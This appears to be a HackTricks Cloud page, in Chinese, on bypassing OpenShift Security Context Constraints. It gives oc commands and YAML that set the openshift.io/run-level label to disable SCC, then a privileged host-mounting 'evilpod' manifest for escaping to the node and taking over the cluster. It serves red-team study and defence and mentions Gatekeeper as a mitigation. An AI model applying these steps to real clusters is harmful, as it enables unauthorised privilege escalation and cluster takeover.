Openshift - SCC bypass
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
该页面的原作者是 Guillaume
特权命名空间
默认情况下,SCC 不适用于以下项目:
- default
- kube-system
- kube-public
- openshift-node
- openshift-infra
- openshift
如果您在这些命名空间之一中部署 pod,将不会强制执行 SCC,从而允许部署特权 pod 或挂载主机文件系统。
命名空间标签
根据 RedHat 文档,有一种方法可以禁用 pod 上的 SCC 应用。您需要至少拥有以下权限之一:
- 在此命名空间中创建命名空间并创建 pod
- 编辑命名空间并在此命名空间中创建 pod
$ oc auth can-i create namespaces
yes
$ oc auth can-i patch namespaces
yes
特定标签 openshift.io/run-level 使用户能够绕过应用程序的 SCCs。根据 RedHat 文档,当使用此标签时,该命名空间内的所有 pod 都不执行任何 SCCs,有效地移除了任何限制。

添加标签
要在您的命名空间中添加标签:
$ oc label ns MYNAMESPACE openshift.io/run-level=0
通过 YAML 文件创建带标签的命名空间:
apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0
现在,在命名空间中创建的所有新 pod 不应具有任何 SCC
$ oc get pod -o yaml | grep 'openshift.io/scc'
$
在没有 SCC 的情况下,您的 pod 定义没有任何限制。这意味着可以轻松创建恶意 pod 以逃逸到主机系统上。
apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:
现在,提升权限以访问主机系统并随后接管整个集群,获得“cluster-admin”权限变得更加容易。请在以下页面中查找 Node-Post Exploitation 部分:
Attacking Kubernetes from inside a Pod
自定义标签
此外,根据目标设置,某些自定义标签/注释可能与之前的攻击场景以相同方式使用。即使不是专门为此而设计,标签也可以用于授予权限,限制或不限制特定资源。
如果您可以读取一些资源,请尝试查找自定义标签。以下是一些有趣的资源列表:
- Pod
- Deployment
- Namespace
- Service
- Route
$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5
列出所有特权命名空间
$ oc get project -o yaml | grep 'run-level' -b5
高级利用
在 OpenShift 中,如前所示,拥有在带有 openshift.io/run-level 标签的命名空间中部署 pod 的权限可能导致对集群的简单接管。从集群设置的角度来看,这一功能 无法被禁用,因为它是 OpenShift 设计的固有部分。
然而,像 Open Policy Agent GateKeeper 这样的缓解措施可以防止用户设置此标签。
为了绕过 GateKeeper 的规则并设置此标签以执行集群接管,攻击者需要识别替代方法。
参考文献
- https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html
- https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html
- https://github.com/open-policy-agent/gatekeeper
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
HackTricks Cloud

